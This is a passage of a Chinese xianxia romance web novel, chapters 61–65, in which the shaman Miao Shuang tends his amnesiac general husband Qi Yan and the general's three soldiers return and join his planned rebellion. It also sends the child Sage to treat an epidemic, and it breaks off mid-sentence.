他的确是不信任祁雁,或者说,不信在泊雁仙尊心中真有自己的位置,所以他才给姓祁的下生死蛊,他们之间要么同床异梦,要么同归于尽,不配拥有第三种结局。 不过刚刚圣子提醒了他。 祁将军,不等于泊雁仙尊。 他明明是祁雁,却又不是祁雁,没有作为仙尊时的记忆,自然不会知道他们之间曾经发生过什么,渴求得到他的信任也是情有可原。 ……真过分啊。 失了忆,就可以将亏欠他的一切一笔勾销,反过来要求他对他付出真心,该死的家伙,究竟凭什么? 哦,或许他根本没资格说祁雁亏欠他,仙道魁首杀他这个魔界至尊难道不是理所应当?那不叫亏欠,那叫为苍生除害,斩妖除魔,该被所有人歌颂。 苗霜啊苗霜,真是作茧自缚自食恶果,新婚夜他就该一刀捅死姓祁的,报了杀身之仇一了百了,当个寡夫也逍遥快活,何至于落到现在这个境地? 骑虎难下,进退维谷。 他心不在焉地摆弄着手里的骨刃,唇边噙着一抹讥嘲的笑意,不知是在笑别人还是在笑自己。 忽然,屋子里传来一声茶杯打碎的声音。 苗霜倏然抬头,脑中回想起上次祁雁拿碎瓷片划自己脚筋的事,不禁皱了皱眉。 不会再来一次吧?同样的套路玩第二遍就没意思了。 他起身上了楼,走到一半又觉得不对,今天祁雁手里有刀,根本用不着打碎茶杯。 可上都上来了,又不好再回去,他还是进屋看了一眼,就见祁雁趴在桌角,整个人弓成一团,杯子好像是无意中碰落的。 直觉告诉他姓祁的状态不太对,他唤了他一声:“祁雁?” 对方没应。 苗霜点亮了桌子上的灯盏,昏暗的屋子亮堂起来,这回看得更清楚了,祁雁把脸埋在臂弯,另一只手紧紧揪住了胸前的衣服,似乎难受至极。 苗霜用力把他搭在桌上的胳膊拉直,指尖贴上他的脉搏,这一探之下登时变了脸色,急忙从袖子里摸出一个小瓶,倒出一颗小药丸来,扳过祁雁的脸:“张嘴。” 祁雁意识迷离,已经没办法配合他,苗霜只得强行撬开了他的牙关,将那颗药丸塞到他舌下。 药物迅速起效,脉象渐渐缓和了下来,苗霜收回搭在他腕间的手,神色复杂。 这家伙伤势居然加重了。 经脉尽毁,本就气行不畅,又因为情绪激动导致气血逆乱,最终郁结于心。 上次他也说心口疼,可那时看脉象却并无大碍,他也不记得祁雁心脏有什么问题,虽然五脏六腑皆有损伤,但心脏应该还算比较健康的了。 这身体真是千疮百孔,调养了这么久也只是勉强活着,想再进一步必须把经脉续好,可续接经脉哪又容易,更何况根基已损,若不狠下心来彻头彻尾重塑一次,这辈子都别想再习武。 太麻烦了,成功率不过十之一二,他不想干。 但经脉的损伤已经到了极限,万万不可再加重了,不然的话,华佗再世也回天乏术。 祁雁慢慢缓过来了,模糊的视野重新变得清明,他精疲力竭地坐在椅中,垂着头一点点调整呼吸,喉结滚了几次,才积攒起说话的力气,嘶哑道:“多谢。” “刚给你种下生死蛊,你就想死在这里?有那么恨我?”苗霜道。 祁雁疲惫地看了他一眼,没什么心情也没什么力气多说别的,尽可能地压缩了句子以节省体力:“没有,动不了。” 苗霜自然知道,不过是想挖苦他罢了,对方不反击就也没意思,他看了看祁雁还红着的眼眶,索性换了个话题,问他:“哭了?” 祁雁愣了一下,下意识去摸自己的眼角,把脸别到一边:“没有。” “那袖子怎么湿了?难不成是口水?” “……” 祁雁把撑在桌边的胳膊落到了桌下,果然发现臂弯处湿了一点,许是刚才趴着时蹭上的,他自己竟没发现。 他表情很不自在地说:“疼得。” 苗霜乐了,嘲讽他的意图已经不加掩饰:“祁大将军流血流汗不流泪,区区心痛能把你疼哭了?心痛和拔手指甲哪个更疼?” 祁雁:“……” 苗霜看着他吞了苍蝇一般的表情,心里莫名好过了些。 真稀罕,泊雁仙尊居然会哭,看来“泊雁仙尊吃醋”这条还得往后靠靠,把修真界十大奇闻之首的位子让出来。 …… 又或者,他一直以来都想错了。 正因为祁将军不等于泊雁仙尊,才会做出这么多泊雁仙尊一定不会做出的举动,此时的祁雁也不过是个普通人,会哭会笑会生气会吃醋,人之七情六欲,泊雁仙尊不一定有,但祁将军一定有。 一开始他想着只待祁雁恢复记忆,就可以彻底结束他们之间长达一千多年的纠缠,可如果,面前这个祁雁记忆再也恢复不了了呢? 他难道还要和他纠缠完这属于凡人的一辈子? 虽然对他们修真者来说,几十年不过弹指一挥间,可他已经有些累了。 他一直以为恨是世上最长久的感情,却没想过有一天,会觉得连恨都开始磨灭。 人活得太久并不是一件好事,他竟有些羡慕起祁雁作为凡人的一生来,短短几十年,体验过生老病死爱恨离别,在颜色尚且鲜艳时为人生画上句号,而不是像他一样,再热烈的火也终有燃尽的一天,灰烬簌簌而落,只余灰暗、惨白。 苗霜站起身来,走到门口,觉得以后如果不当大巫了,去做个云游四方的江湖郎中也不错,不过他掏出虫罐大概就会吓跑九成九的人,可能也赚不到钱吧。 “日后不可再动怒,不可情绪过激,以免伤势反复,再来个几次我也救不了你。”他道。 祁雁叹了口气:“我尽量。” “你究竟是因为和我吵架而哭,还是为了我要杀你的部下而哭?”苗霜忽然问。 祁雁诧异地看了他一眼:“你是想让我情绪过激,还是不想让我情绪过激?” “区区一个问题就能让你情绪过激?那你的感情未免太充沛了。” “……”祁雁只觉心力交瘁,已经疲于和他拌嘴,“苗霜,他们只是我的部下,是兄弟、朋友,他们和你不同,我从未把你们归为过一类,也谈不上在你们之间做出选择。” 苗霜看着他。 “不要再问我孰轻孰重的问题了,”祁雁给自己倒了杯水,润了润干涩的喉咙,“告诉你也无妨,在你之前,我其实从没打算过娶妻,男人女人我都不感兴趣,在你之后自然也不会有之后。” “夫人只有一个,而兄弟有一群,街边的阿猫阿狗更是连认都不认识,你究竟为什么要觉得他们能和你相提并论?下一步你该不会要说,地上的花花草草也比你重要吧?” 苗霜:“……” 他沉默了一会儿,问:“那你究竟为什么替他们求情?” 祁雁听到这句,喝到一半的水直接呛了出来,咳了个昏天黑地,咳得胸腔和脑袋一起在痛,震惊道:“我究竟为什么不能?” 第62章 第 62 章 迟早让苗霜忘了那该死的…… 苗霜移开视线, 走到门口,背对着他:“没什么。” 是他不能将泊雁仙尊和祁将军完全分开来,高高在上的是泊雁仙尊, 而不是现在的祁雁。 他没再追问,祁雁却眉心微蹙地注视着他的背影, 心中疑惑更甚。 他时常觉得苗霜喜怒无常无理取闹,总是在奇怪的地方生气, 又在奇怪的地方高兴,可若仔细想想,倒也不算完全无迹可寻,抛开床上的时候不谈,让苗霜在意的似乎只有两点,一个是他向他……示弱?另一个则是谈及和“苍生”有关的话题。 后者祁雁已经明白了缘由,至于前者…… 祁雁的表情变得微妙起来。 难道还是因为那泊雁仙尊? 他想杀他,苗霜不生气,可他却不能求他, 更不能求死。 是因为泊雁仙尊永远高高在上,泊雁仙尊从不示弱, 泊雁仙尊只会杀人而不会求人? …… 真是荒唐。 一个为了一方必须牺牲另一方的家伙,究竟有什么可喜欢的,竟还要求他和那废物仙尊一样,不能变得不像他。 哈,凭什么? 才消停没一会儿的经脉又疼起来了,祁雁深呼吸, 努力让自己平静下来。 不能生气,苗霜刚叮嘱过他不能动怒,冷静些。 反正现在生死蛊在他身上, 苗霜心中的天平已在向他倾斜,迟早有一天,他要让苗霜彻底忘了那该死的泊雁仙尊。 “天色不早了,你那三个部下还在后山,”苗霜回过身来,“你打算怎么处理?” * 后山。 从吊脚楼出来,赵戎就一直心不在焉,他失魂落魄地往前走,宛如一具行尸走肉。 “连将军也不要我们了,”他双目无神地低声喃喃,“现在咱们该去哪儿?雁归军肯定是不能回了,难道真的要拿着这些钱,找地方成家养老吗?” 他掂了掂手里的钱袋,对那满满一袋银子全无兴趣,转头丢给了姜茂:“你拿着吧,你和老孟比我更需要这笔钱。” “……”姜茂又把钱袋抛给了孟永良,“我只是断了条胳膊,又不是成了废人,老孟年纪大,老孟拿着。” 孟永良看看这个,又看看那个,无奈道:“行行行,我拿着就我拿着,我负责结账就得了呗。” 后山的路更加难走,赵戎折了根树枝当做拐杖,走在最前面为他们开路,用手里的刀砍掉那些过于茂盛的植被,他心情不好,开路也开得敷衍至极,这砍一刀那砍一刀。 姜茂索性自己拔了刀,问道:“我们来时开的那条路去哪了?” 赵戎没回答他的问话,还沉浸在悲痛中无法自拔:“你说将军他怎么能说他怕死呢?姓金的刚骂完我们胆小如鼠,将军就‘以身作则’,这不是打我们的脸吗?” 姜茂一阵无语,不太想理他。 “我知道将军在狱中受了很多苦,武功也没了,想做什么都很困难,可他又不是一个人,他明明还有我们,他做不了的事,我们可以帮他做,只要他开口,我们赴汤蹈火也帮他办到。” 姜茂终于忍不住了,他停下脚步:“赵戎,凭你这脑子,到底是怎么长到这么大的?” “什么?”赵戎愣住了,“好端端的骂我干什么?” “有没有可能,将军就是不想连累我们,才赶我们走的?”姜茂还刀入鞘,“你也跟在将军身边这么多年了,就对他一点都不了解吗?他说那些狠话就是为了劝退我们,也就你这种傻子会真的上当。” 赵戎瞪大眼睛:“你是说将军他其实没放弃?” “不然你觉得他为什么要逃出京都?在皇帝的眼皮底下,他什么都做不了,他必须得走得越远越好,天高皇帝远,他才好施展拳脚。” 姜茂环顾四周:“苗疆无疑是个好去处,离塞北远,皇帝不会起疑,他若是直接回塞北那才是完蛋了,你知道那里是他的老巢,难道皇帝不知道?” 赵戎挠了挠头:“这……” 姜茂:“假死逃生,金蝉脱壳,他若没有后手,才不至于大费周章搞这一出,而且苗疆是那位大巫的家,从京都逃到苗疆,一定是大巫从中协助,虽然咱们没见过他几面,可根据你现有的印象,你觉得那位大巫所图谋之事,会是什么小事?” 赵戎认真思考了好一会儿:“你说的也对啊……将军早有计划,只是不想让我们参与。” 他懊恼地一拍大腿:“我怎么这么蠢,连激将法都看不出来!完了完了,我都已经把匕首还回去了,将军他会不会生我的气啊?姜茂,你早看出来了,你怎么不拦我?” 姜茂瞥他一眼:“你也该长点教训。” “你!”赵戎又转向孟永良,“老孟,别告诉我你也……” “哎呀……”孟永良抬头望天,“走了这么久也不见走到头啊,累了,歇会儿。” 他说着就找了块石头坐了下来,急得赵戎像是热锅上的蚂蚁:“不是,合着你们都看出来了,一个两个的都不提醒我,就看着我出丑!” 回想起自己当时义愤填膺失望至极归还匕首的样子,赵戎面红耳赤,恨不得找个地缝钻进去,他急得在原地转来转去:“现在怎么办?我回去找将军磕头谢罪还来得及吗?” “你有没有发现我们一直在这附近打转?”姜茂用刀鞘指向前方,“你看,那里的植物有被你砍过的痕迹,这条路我们刚刚走过。” 赵戎抬起头,顺着他的指向望去,才发现周围的景象的确很眼熟,这山中连个参照物也没有,四周都是树,他还以为他们一直在往前走。 “咱们已经是第四次经过这块石头喽,”孟永良用刀尖在石头上刻下一道划痕,“正”字只差最后一笔,“再转下去天都要黑了。” 暮色四合,斜阳即将沉落,赵戎之前都没注意时间,现在才反应过来他们下山的路的确走得太久了,他们爬山都没花这么多时间,下山竟走了半天还在山上。 入夜后深山中会更加危险,他一下子警惕起来:“怎么回事?鬼打墙了?” “这恐怕就是天意吧,”孟永良道,“其实我和小姜都没想走,只是不放心小赵你一个人才跟上来,你看,老天都在挽留我们。” 赵戎看了眼姜茂,姜茂点了点头:“将军赶我们走,无非是怕连累我们,祸及家人,可我原本就是孤儿,吃百家饭长大,虽然街坊邻里待我都不错,可我已离家多年,他们知道我加入了雁归军,早就不抱我会回去的打算了。” 孟永良也附和道:“我老孟一辈子未娶,无亲无故,这岁数了,也活够了,若还能为将军尽一份力,自是求之不得,若因此而死,也死而无憾。” 姜茂:“赵戎,你呢?我记得你父母还健在,不如趁此机会,回家算了?” “我……”赵戎一时陷入两难,“我爹娘的确还健在,可我也很多年没回去了,那年我应召参军,我爹跟我说,男儿在世就是要保家卫国,虽然我是家中独子,可我爹娘、我妹妹都支持我,我说了,一天不把狄人消灭,我就一天不回家!他们也没反对过。” “你的志向还真远大,”姜茂不咸不淡地说了一句,“怪不得非要跟着祁将军,若是跟着金将军,别说灭了狄历,不被狄历灭了都要烧高香。” “我怎么感觉你在讽刺我……”赵戎有些怀疑,又没有证据,“总之,我不怕!要是国都没了,还谈什么家?不管将军想做什么,我都跟着他!” “达成一致了?”孟永良拍了拍衣服站起身,“是不是可以走了?” “可咱们往哪走啊?往回走?”赵戎四下环顾,“哪个方向是往回?咱们都在这转悠一下午了,下山下不去,确定往回走就能走通吗?要是就一直被困在这儿了怎么办……我可不想喂山里的野兽啊。” “我不确定能不能走通,不过你看。” 姜茂伸手一指,赵戎定睛细看,惊讶道:“那是……蝴蝶?” 蓝色的蝴蝶静静停在树上,翅膀缓缓开合。 姜茂指尖偏转,赵戎又看过去:“又一只?等等……这么多?!” 许许多多的蓝色蝴蝶落在树梢,落在草丛里,或被树叶遮掩,或隐匿于灌木当中,须得仔细观察,才能发现它们的踪迹。 姜茂转过身:“你再看那里。” 诸多蝴蝶当中,只有一只颜色不同,这一只色彩极为绚丽,翅膀开合间反射出细碎的微光,堪称光华夺目。 “好漂亮的蝴蝶,”赵戎一时看得呆了,“只有它与众不同,难道那个方向就是出去的路?” 姜茂露出一个“你终于有点长进了”的眼神:“走吧,跟上它。” 三人向蝴蝶所在的方向走去,蝴蝶似乎感觉到了他们靠近,翩然从枝头起舞。 夜色降临,银月悄上树梢,清辉映得那蝴蝶微微发亮,它在茂密的树林间穿行,时明时暗,忽近忽远,却始终翩飞于他们的视线之内,可见而不可触摸。 忽然,前方豁然开朗,密林自两侧退去,一座熟悉的吊脚楼出现在了视线尽头,院子里灯火通明,石桌上摆好了饭菜,美酒飘香。 祁雁正坐在桌边倒酒,清酒入碗之声仿佛近在耳畔,赵戎揉了揉眼睛,几乎不敢相信这一幕是真的,瞬间鼻子一酸:“将军……” 斑斓的蝴蝶在空中盘绕一圈,翩翩而落,停在苗霜指尖。 白发赤眸的大巫懒懒散散地倚在院门口,蝴蝶在他指尖停留,刚好挡住了一点脸颊,从这个角度望过去,好似那蝴蝶落在他唇边。 姜茂果断单膝跪地,抱拳行礼:“见过将军,见过夫人。” 第63章 第 63 章 我听夫人的 赵戎还愣着, 姜茂果断用手肘捅了他一下,赵戎这才回过神来,也跟着跪下:“见过将军!见过夫……夫人!” 苗霜瞥他们一眼:“进来吧。” 酒菜的香味随风飘来, 三人一天没吃饭了,此刻皆是饥肠辘辘, 肚子不争气地咕咕叫了起来。 几人围桌而坐,祁雁给他们分了酒, 赵戎接过酒碗,颇有些局促地说:“那个……将军,下午我说了很多很过分的话,您……没生我气吧?” “没有,是我想赶走你们在先,要说抱歉也该是我,”祁雁将放在桌上的匕首推到他面前,“既是赠出之物,再收回却也不妥, 还是你留着吧。” “哎,”赵戎赶紧拿回了匕首, 相当爱惜地抚摸一番,“谢将军。” 短暂的隔阂又在这三言两语中烟消云散,赵戎收起匕首,又问:“不过,将军既然已经决定赶我们走,怎么又突然改主意了?” “不是我, 是夫人,”祁雁看向身边的人,“夫人想留下你们, 我听夫人的。” “啊……” 赵戎诡异地从这句话中听出一丝炫耀,他扭头看了看姜茂,姜茂端起酒碗:“多谢夫人替我三人求情,我敬夫人。” 苗霜微微一笑,应了他的敬酒,两只酒碗相碰,发出一声轻响。 姜茂直接干了那碗酒,向他展示已经空了的碗底,赞叹道:“好酒!” 赵戎赶紧给他满上,有点心虚地咽了口唾沫。 他之前还揣测是苗疆大巫害死了将军嫁祸南照奸细……事实看来这猜测是一点没猜中,现在将军还活着,倒是那奸细死了。 而且将军和这大巫貌似感情很好的样子,还好他之前没在将军面前说大巫的坏话,万一被大巫本人知道了,他几个脑袋都不够掉啊。 他不禁有些后怕,赶紧去学姜茂:“我……我也敬夫人!” 苗霜挑了挑眉:“你们一人敬我一碗,岂不是要把我灌醉?不如一起来吧。” 祁雁帮他添好了酒,正要给自己也倒一碗,就看到对方朝自己瞥来的视线。 祁雁沉默了下,自觉地放下了酒坛,给自己倒了碗水。 “那我便以水代酒,”他端起盛了水的酒碗,“庆祝我们今日能在此相聚——干!” “干!” 五只酒碗两两相碰,月色正浓,这僻静的山中小院迎来了难得的热闹。 明秋又给他们搬来几坛酒,端上刚刚蒸好的糯米饭。 赵戎已经饿得前心贴后背,不免一番狼吞虎咽,边吃边说:“这米饭可真香,我从没吃过这样的饭,这是夫人的手艺吧?” “你想多了,我不会做饭,”苗霜似笑非笑,“这是你家将军亲手给你们蒸的。” 赵戎:“……” 马屁拍在了马腿上,他尴尬一笑,看向祁雁:“将军您……还会做饭呢?” 祁雁低头喝水。 “那这些菜该不会也……?” “有厨子,”祁雁忙道,“只是因为你们来,我让他多准备了几道菜,他忙不过来,我才帮忙蒸了这饭——别再问了,快吃吧。” 话题越说越奇怪,姜茂适时地接过话头:“不过,之前将军说款首继任仪式一结束,款首很快就会搬上来,我们留在这里不要紧吗?需不需要我们回避?” “放心吧,她一时半会儿不会上来,”苗霜道,“就算上来也不要紧,我会想办法隐藏你们的身份。” “那就多谢夫人了。” 祁雁本不想给他添麻烦,但既然苗霜坚持,他也就尊重他的意愿,多些人总是更好办事。 “但我丑话说在前面,我现在无权无势,所谋之事更没有任何把握,稍有不慎就会万劫不复,你们想好了,真的要跟着我?” 赵姜孟三人对视一眼,赵戎道:“您还没说您的计划到底是什么呢,姜茂说一定是大事,莫非……” 苗霜:“成则名垂千古,败则遗臭万年。” 赵戎咽了口唾沫:“将军,您……真要谋反啊?” “天下局势已至此,天子昏庸无道,国家内忧外患,民不聊生,我不反总会有人反,与其干等着大雍走向衰亡,不如拼一把,将机会抓住自己手里。”祁雁道。 “好,反就反!”赵戎一摔酒碗,豪气干云,“我早就看那狗皇帝不顺眼了!自从他当上皇帝,大雍就没一天安宁!今天杀这个,明天杀那个,忠臣良将都快被他霍霍完了!咱们不反他,他就要灭了我们,干脆拼他个你死我活!” 姜茂又给他盛了半碗饭,示意他多吃饭,少说话,然而赵戎酒劲上来了,话匣子已然关不住,又问:“但将军您手里也没人啊,就我们几个……需不需要我们回去给您搬救兵?只要您一声令下,兄弟们都跟您走,管他什么皇帝不皇帝!” “不,不动雁归军,”祁雁摇了摇头,“狄历始终对我们虎视眈眈,我被调回京都以后,他们更是蠢蠢欲动,雁归军一旦调走,北部边防薄弱,狄历一定趁虚而入,到时候局势会变得更加不可控。” “兵马的事我会自己想办法,你们就不用操心了,”他说,“赵戎,你真的想清楚了,开弓没有回头箭,万一我们失败了,不止是你,你一家老小都可能受到牵连。” “将军,您就别劝我了,我意已决!”赵戎又猛地喝了一大口酒,酒意微醺,他面色泛了红,“我们这一路南下,走过山山水水,看到的都是些什么?百姓四处逃难,流离失所,路有饿殍,疫病横生,可那晏安城里却是夜夜笙歌,纸醉金迷!指望那狗皇帝看到百姓的苦难,可能吗?国将不国,何以为家!” 祁雁眉头紧锁,他沉默地喝光了碗里的水,只当那是酒。 过了好一会儿他才再次开口:“疫病横生……你指哪里?” 赵戎思索了一下:“好像是……普州、遂州一带?” 他看向姜茂:“对吗?我没记错吧?” 姜茂点了点头:“我们来黔州寻您不得,便一直在附近徘徊,这山中环境实在恶劣,我们经常被毒虫咬伤,过段时间就得出去买药,就在上次……差不多一个月前,我们又去之前常去的那家药铺,店家却说有一味药没有了,问他为何没有,他说近日来有州县遭逢大疫,药材供不应求,官府派人大量收购,再免费分发给百姓,他们的供货商都把药材卖到那里去了,没货进给他们。” “我们便向店家打听,哪里的疫病如此严重,他说剑南数州皆已沦陷,还叫我们别往那里去,去了可能就回不来了。” 剑南道…… 都说大灾之后必有大疫,剑南所处蜀地,天府之国,每逢大灾,必有大批流民入蜀避难,可一旦剑南也遭灾,这些流民对他们来说就是雪上加霜。 他们年前离京,南下走了一个多月,中途经过剑南,那时听闻剑南节度使发布了募兵令,将那些身体健全的流民纳入军中,现在看来,竟也是杯水车薪。 祁雁久久不语,赵戎伸手在他眼前晃了晃:“将军?” “嗯,”祁雁回过神来,“去年我接旨去剑南调兵时,和那位节度使见过面,此人性情豪爽,或可与之结识,但当时我知道陛下要对我动手,唯恐连累他人,不敢与他攀交。” 姜茂神色一动:“您的意思是?” 祁雁:“今年初春,剑南节度使假借我率兵平叛损失惨重之由,在各州县发布募兵令,那应该不是陛下的旨意,当时我以为他是私心,现在看来,恐怕也是为了接济那些无家可归的百姓。” “不是陛下的旨意,那岂不是意味着,这些兵都成了他的私兵?”姜茂瞬间明白了什么,“难不成,这剑南节度使也想反?” “但他现在应该自顾不暇了,剑南大疫,官府肯掏钱收购药材,说明他们心里还有百姓,肯定不会在这个时候反,如果可能,我们不妨卖他个顺水人情。” 祁雁说着看向苗霜:“不知夫人可有办法?” “你是说让我去治疫?”苗霜一挑眉梢,“将军未免也太看得起我了,我连他们遭的事什么疫病都不知道,你怎么就信我能把他们治好?” “夫人连我都能治好,世上还有什么你医不好的疾病?” 这句话极大地取悦了苗霜,他单手撑着下巴,思考了一会儿,故作惆怅地说:“可惜,我或许有那个本事,却出不去,别忘了你金蝉脱壳才过不久,我还是不要离开苗寨引季渊注意为妙,更何况区区疫病,用得着我出马?” 赵戎张大了嘴巴——区区?疫病? 听听这是人话吗! “不过我有人选可以提供给将军,”苗霜把手按在他肩头,站起身来,回头道,“圣子。” “啊?”正在远处玩泥巴的向久茫然抬头,还不知道有什么事即将降临在自己头上,“怎么了?” 赵戎这才发现附近还有个小孩,更震惊了,而且这小孩……好像是什么“苗疆圣子”?! 向久丢掉手里的泥巴,用手背蹭了蹭脸,来到苗霜面前:“阿那,怎么了?” “你不是一直想离开苗寨,去外面看看吗?”苗霜循循善诱,“现在机会来了,你想不想去?” 赵戎眼珠子都快从眼眶里瞪出来了。 什么玩意?大巫说的人选,就是这看起来才六七岁大的小孩? 向久眼睛一亮:“真的吗?可阿那不是说族里才安定下来,我不能出去吗?” “田长老已继任款首,也算是安定了,只要圣子求求她,我想她会同意的,”苗霜笑眯眯道,“那这个赴剑南治疫的任务就交给你了,圣子。” 向久一呆:“啊??” 第64章 第 64 章 保证绝不再向夫人隐瞒…… 向久用沾满泥巴的小手指了指自己, 难以置信道:“治什么?治疫?我?” “是呢,圣子跟着我学了这么久的医术,也该有些长进了, 这外出游历的绝佳机会都砸到脸上了,圣子还不赶紧抓住?” 看着对方那张笑意盈盈的脸, 向久只感觉毛骨悚然,吓得打了个哆嗦:“可、可是阿那, 你就不怕我去了以后也染上疫病,回不来了吗?” “圣子有神灵庇佑,出生至今,从不生病,便是毒虫猛兽也奈何不了你,有什么好怕的?” 向久紧张地直抠手指:“我……可是,我也没真的给人看过病啊。” “山里救下了小动物你都治好了,人也是一样的,我给你的医书中记载了各种疫病的辩识和解决方法, 你学了这么久,记住了没有?” “记是记住了, 可记住了和会用是两码事吧……阿那怎么给祁将军开刀我也记住了,可刀在我手里我也不敢下手啊……” 这话一出口,赵戎三人纷纷将视线投向祁雁,用眼神向他询问这段时间究竟发生了什么。 祁雁低头喝水,装作无事发生。 “阿那,我不敢, ”向久仰起头,拽住他的袖子轻轻摇晃,“我要是把他们治死了怎么办?他们的家人会杀了我吧?而且都是汉人……我为什么要救汉人, 我、我不要去。” 苗霜蹲下身来,轻轻揉了揉他的脑袋:“是汉人还是苗人,都是大雍的子民,不是吗?我们迟早有一天要走出深山,走到外面去,你身为圣子,更要身先士卒,你救了那些汉人,他们就会感激于你,进而感激我们整个部族。” 向久茫然道:“是、是这样吗……” 这时,祁雁忽然开口:“我记得孟叔懂些岐黄之术,是不是?” 孟永良一摆手:“嗐,只是在军营里待得久了,看军医给他们治伤,看也看会了,略通些清创包扎之术,能看些风寒、痢疾一类的小病,略懂而已,略懂而已。” “对啊!”赵戎被提醒,一拍桌子,“我怎么给忘了,当时姜茂受伤,就是老孟给救回来的,后来我们南下水土不服,也是老孟去抓的药!那地方连个郎中都找不到,老孟自己配的药方呢,才喝了两副,我俩就好得差不多了!” “这就足够了,”祁雁道,“你们三个带上圣子,走一趟剑南,去疫病最重的地方看看,如若圣子没把握,就传封书信回来,赵戎、姜茂你们辛苦些,多跑几趟,我给你们钱,你们去买几匹好马。” 姜茂点头:“没问题。” 赵戎一拍胸脯:“将军您就放心吧,包在我身上!” 祁雁看向苗霜:“如何?” 苗霜点点头,站起身来,对向久说:“圣子放心出手,不用担心他们会不会被你治死,因为你若不治,他们一定会死,你若治了,他们还有一线生机。” 向久似懂非懂:“阿那治第一个病人时,也是这样想的吗?” “我可没你那样胆小,说治便治了,何须想那么多。”苗霜道。 他治的第一个病人……那是什么时候?恐怕要追溯到修真界了。 ……等等。 他一个魔尊,为何会给人治病? “好吧,”不知是得知有人同行,还是可以场外求援,向久稍稍放心了一些,鼓起勇气,“那、那我就试试,要是……无功而返,阿那不准骂我哦。” “自然不会。” 苗霜回了一趟房间,拿出一个盒子,从里面拿出两瓶药,交给姜茂:“白色瓶子是百疫解,可强身健体,抗百病;绿色瓶子是避毒丹,服用后二十四时辰内可敌百毒,不过所用药材稀缺,我也只能拿出这两瓶来,你们到剑南后,若觉得身体不适,及时服用,至少可保你们几人性命无虞。” 姜茂一撩下摆,跪地抱拳:“多谢大巫!” 饭已经吃得差不多了,苗霜喊来明秋收拾了桌子,又道:“还有最后一样东西。” 他将三张木头雕刻的面具放在桌上:“这是我之前刻毁的,现在便宜你们。” 说着闭上眼睛,朝虚空伸手。 赵姜孟三人面面相觑,不知道他要干什么。 先是圣子若有所感,抬头望向远处的密林,遥见无数只蓝色的蛊蝶从山林中飞出,乘着月色翩翩而来,它们飞到苗霜身边,绕着他不断盘旋,继而撞向他的手掌,一只又一只,一下又一下,每一次撞击都落下许多蓝色的鳞粉,在他的掌心越积越多。 那些蓝色的粉末闪闪发光,从某个角度看去,又呈现出瑰丽的紫色,像是某种如梦似幻的颜料,又像是神秘莫测的夜空。 苗霜将鳞粉倒进陶罐,蓝紫色从他掌心倾泄,赵戎一时看得呆了,竟觉得那像是从天幕之上悬垂的天河,每一处闪光都恰如一颗星子,流火般从他手中坠落。 赵戎揉了揉眼睛,喃喃自语:“我是不是喝多了,怎么好像出现幻觉了……” “本来就是幻觉啦,”向久在旁边解释,“这是阿那养的幻蝶,那些蓝色的粉末可以致幻,只要你们不去看,过一会儿幻觉就会消失了。” 姜茂立刻闭上眼睛,孟永良转过了头,赵戎又看了半天才如梦方醒,背过身去。 收集鳞粉的过程十分漫长,向久没看多久就打了个哈欠:“阿那,我困了,要去睡了。” “去吧,记得把身上的泥巴洗干净。” “……哦。” 蝴蝶不断通过撞击和摩擦抖落掉身上的鳞粉,祁雁就坐在旁边看着,那些深蓝发紫的粉末沾了苗霜满手,附着在白皙的肌肤之上,有一些甚至蹭上脸颊,挂在发梢,身上到处是细碎的闪光。 不知是被苗霜下了太多蛊,还是最近被圣子下了太多毒,这种轻微的致幻祁雁几乎已经免疫了,他看了许久,还是没忍住伸出手,用指腹轻轻擦去对方脸颊上沾到的一点鳞粉。 苗霜向他瞟来。 恰好在此时,姜茂睁开眼想看看幻觉消失了没,就看到将军伸手帮夫人擦去脸上的粉末,两人互相对视,那叫一个含情脉脉。 他果断又把眼睛闭上了。 从密林中飞来的蝴蝶最终又散于密林,苗霜收集了满满一罐子鳞粉,又捣了一些其他药材,和鳞粉混合在一起,最后往那三张面具上刷上浆糊,将混合好的粉末均匀涂抹上去,覆盖了厚厚一层。 “就放在这里自然晾干,等明天起来就能用了,”他说,“戴上这面具,旁人会自动把你们认成相识的人,你们就可以在苗寨内通行无阻——不过还是尽量少在人前出现,以免露出破绽。” 赵戎回过身来,看着那张漂亮又诡异的蓝色面具:“这也太神奇了吧?” “早些休息,明日启程。” 苗霜给他们在附近安排了住处,便回房休息,祁雁也已经疲惫不堪,喝过药倒头便睡。 一直睡到日上三竿,众人都休息充分了,面具也已晾好,明秋帮忙打点了行装和盘缠,一切准备妥当。 苗霜请示了款首回来,款首同意圣子离寨,向久背着自己的小包袱,里面装着他用来做笔记的小本子,各种行医用具,还有苗霜送他的一套手术刀。 虽然感觉用不上,但以防万一。 向久依依不舍地看着他,苗霜冲他一挑下巴:“去吧,记得四月八之前回来。” 向久一步三回头地走了,这还是他第一次离开苗寨,而与他同行的居然是三个汉人。 虽然他相信阿那,也知道这三个汉人不是坏人,但还是不免内心忐忑。 他们要去的地方疫病严重到什么程度,会不会遍地都是死人,他们能不能顺利进城,那些病人又会不会找他一个小孩来看病……一切的一切都是未知。 可阿那说得对,那些人不救就会死,他身为圣子,得神灵庇佑,他应将神灵的恩赐施予更多人。 苗霜看着他们离去的背影,忽然嗤笑一声:“老弱病残。” 赵戎听见了这句,也跟着哈哈一笑,指了指孟永良:“老。” 又指了指向久:“弱。” 再指指姜茂:“残。” 最后道:“不对啊,那病是谁?” 姜茂递给他一个“你可真无聊”的眼神:“你。” “我?我哪病了?” “脑子有病。” “……” 目送这老弱病残四人组离去,祁雁道:“四月八……就是你之前说的重要节日?” “嗯。” “只有一个多月了,除去往返路程,时间却不富裕,这么短的时间控制住剑南的疫病,来得及吗?” 苗霜:“来不来得及都无所谓,历练而已,只要留下药方,人也不一定在那守着,你们汉人当中难道还找不出几个会抓药的郎中吗?” “夫人说的有理,”祁雁道,“这几个月来,圣子的确长进了不少,不像第一次见面时那样胆小,但此行对他来说还是考验,但愿他不会被吓哭吧。” “在自己家里哭哭也就罢了,在外面哭,丢苗疆圣子的脸,他倒是敢哭一个试试。”苗霜冷冷道。 祁雁:“……” 还真苛刻啊,圣子不过是个六岁小孩。 “你那是什么表情?”苗霜不满,“我记得将军说自己六岁时已会骑马射箭,我六岁时,虽然脑子还没完全清醒,但已会给人下毒,圣子的医术是我一手教的,从小就跟在我身边看我给族人治病,傻子也能看会了吧?又手把手地教了他三个月,治个区区疫病,有什么难的?” 祁雁莫名有些同情起圣子来。 “夫人,”他决定不再进行这个话题了,伸出手,将五指慢慢插进苗霜的指缝,“昨日的事,我再次谢过夫人,我保证以后再有任何事,绝不向夫人隐瞒。” 第65章 第 65 章 鸣川……师兄? 苗霜下意识地挣了一下, 却没挣脱,十指慢慢紧扣,互相绞缠, 